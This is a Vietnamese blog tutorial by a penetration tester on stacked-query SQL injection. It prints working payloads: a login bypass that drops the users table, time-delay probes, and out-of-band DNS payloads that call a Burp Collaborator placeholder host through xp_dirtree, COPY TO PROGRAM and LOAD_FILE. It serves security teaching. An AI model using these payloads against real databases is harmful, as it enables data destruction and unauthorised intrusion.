Loading
May 15, 2024By Harry Ha

Stacked Query trong SQL Injection

Stacked Query là thuật ngữ để chỉ các ngôn ngữ lập trình thực hiện nhiều câu truy vấn khác nhau trong cùng một thời điểm. Mỗi câu truy vấn được phân tách bằng dấu chấm phẩy.

Stacked Query

Khi thực hiện tấn công, khai thác lỗ hổng SQL Injection. Ngoài các phương pháp Error-based, Union-based, Boolean-based để lấy dữ liệu nhạy cảm ra bên ngoài. Các phương pháp này chỉ tác động tới tính chất Confidential (bảo mật) trong tam giác CIA. Nếu chúng ta muốn phá vỡ tính toàn vẹn (Integrity) bằng cách INSERT, ALTER bản ghi, phá vỡ tính sẵn sàng (Avalibiltiy) bằng các lệnh DROP. Sẽ nguy hiểm hơn nếu hacker có thể thực hiện được Đọc File (Read File), Ghi File (Write) hoặc thực thi lệnh hệ thống (Execute OS Command).

Chúng ta cần dùng tới Stacked Query (hoặc Batched Query) để làm tăng mức độ ảnh hưởng tỏng các cuộc tấn công. Thực sự, trong SQL, bạn có thể viết liên tiếp các câu lệnh SQL khác nhau trên cùng một dòng. Và để CSDL phân tách được các câu truy vấn, nó cần sử dụng dấu chấm phẩy để ngắt lệnh.

Giả sử bạn có một truy vấn SQL như sau để xác nhận đăng nhập

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Nếu ứng dụng web không kiểm tra và xử lý đầu vào trong tham số $username hoặc $password. Kẻ tấn công có thể Stacked query để thực hiện các hành động độc hại khác. Bạn hãy xem ví dụ dưới đây để hiểu cách một Stacked Query được chèn vào:

username: ‘ OR 1=1; DROP TABLE users; —
password: anything


SELECT * FROM users WHERE username = '' OR 1=1; DROP TABLE users; -- ' AND password = '$password';
  • Câu truy vấn sẽ thực câu lệnh SELECT với bảng users và điều kiện username là rỗng hoặc điều kiện luông đúng là 1=1.
  • Do có dấu chấm phẩy, nên sẽ được hiểu là ngắt lệnh SELECT và thực thi câu lệnh DROP. Câu lệnh DROP này sẽ xoá bảng users.
  • Sau đó dấu comment (–) sẽ loại bỏ toàn bộ điều kiện AND phía sau câu truy vấn gốc của chức năng Login ban đầu.

Điều kiện để sử dụng Stacked Query

Mặc dù đây là tính năng của SQL, nhưng không phải ngôn ngữ lập trình nào cũng hỗ trợ các hàm thực thi truy vấn cho phép sử dụng Stacked Query. Tại vì:

  • Khi sử dụng Stacked Queries sẽ xảy ra một vài trường hợp mất cân đối về mặt kết quả dữ liệu
  • Khó lường trước được các lỗi Logic, đặc biệt khi các truy vấn cần thực hiện tuần tự và phụ thuộc vào kết quả của nhau.

Bảng khảo sát (Survey Table) dưới đây sẽ giúp bạn hình dung ngôn ngữ lập trình và cơ sở dữ liệu nào sẽ hỗ trợ Stacked Query.

DatabasePHPASPASP.NETJavaPython
MySQLKhông hỗ trợKhông hỗ trợHỗ trợHỗ trợ có điều kiện
MS SQL ServerHỗ trợHỗ trợHỗ trợ
PostgreSQLHỗ trợHỗ trợHỗ trợ
OracleKhông hỗ trợKhông hỗ trợKhông hỗ trợKhông hỗ trợKhông hỗ trợ
SQLite

Trong Java, Stacked Query với MySQL sẽ chỉ thực hiện khi allowMultiQueries=true được bật khi kết nối CSDL bằng JDBC.

Kinh nghiệm phát hiện Stacked Query

Time Based

Khi thực hiện khai thác lỗ hổng SQL Injection, bạn muốn kiểm tra xem ngôn ngữ lập trình và cơ sở dữ liệu hiện tại có hỗ trợ Stacked Query hay không. Tuyệt đối không được làm ảnh hưởng tới tính sẵn sàng và tính toàn vẹn của ứng dụng bằng các lệnh INSERT hoặc DROP, ALTER.

Thay vào đó, bạn hãy sử dụng các lệnh liên quan tới thời gian như SLEEP, hoặc các hàm mã hoá vì nó tốn nhiều thời gian để xử lý hơn bình thường.

DatabaseSLEEP Query (ngủ 10 giây)
MS SQL Server; WAITFOR DELAY ‘0:0:10’
PostgreSQL; SELECT pg_sleep(10)
MySQL; SELECT SLEEP(10)
SQLite v3; sqlite3_sleep(10)

Out-of-Band Application Security Testing

Nếu hệ thống áp dụng phương pháp Timeout để ngăn chặn các câu truy vấn thực thi quá lâu. Bạn có thể áp dụng kỹ thuật Out of Band để tạo các tín hiệu ra bên ngoài. Nhưng với cách này, hệ thống phải có quyền truy cập Internet. Nếu Firewall chặn đường ra của Internet thì bạn cũng không thể gửi tín hiệu đi được.

DatabaseOut of Band (DNS Query)
MS SQL Server; SELECT UTL_INADDR.get_host_address(‘BURP-COLLABORATOR-SUBDOMAIN’)
; exec master..xp_dirtree ‘//BURP-COLLABORATOR-SUBDOMAIN/a’
PostgreSQL; copy (SELECT ”) to program ‘nslookup BURP-COLLABORATOR-SUBDOMAIN’
MySQL; SELECT LOAD_FILE(‘\\BURP-COLLABORATOR-SUBDOMAIN\a’)
; SELECT ‘111’ INTO OUTFILE ‘\\BURP-COLLABORATOR-SUBDOMAIN\a’

BURP-COLLABORATOR-SUBDOMAIN là domain của thống nhận tín hiệu của Hacker. Khi thực thi các câu truy vấn trên, nó sẽ tạo một truy vấn DNS Query tới Domain BURP-COLLABORATOR-SUBDOMAIN. Nếu không có Server riêng, bạn có thể sử dụng chức năng Burp Suite Collaborator.

Tài liệu tham khảo

  • https://www.researchgate.net/publication/221234337_Stack-Based_Architecture_and_Stack-Based_Query_Language
  • https://www.sqlinjection.net/stacked-queries/
  • https://pentestmag.com/exploiting-blind-sql-injections-update-insert-statements-without-stacked-queries-sina-yazdanmehr/
  • https://stackoverflow.com/questions/10797794/multiple-queries-executed-in-java-in-single-statement
  • https://book.hacktricks.xyz/pentesting-web/sql-injection#stacked-queries

Harry Ha

Whitehat hacker, Founder at Cookie Hân Hoan, Co-founder at CyRadar, Senior Penetration Tester, OSCP, CPENT, LPT, Pentest+

svg

What do you think?

It is nice to know your opinion. Leave a comment.

Leave a reply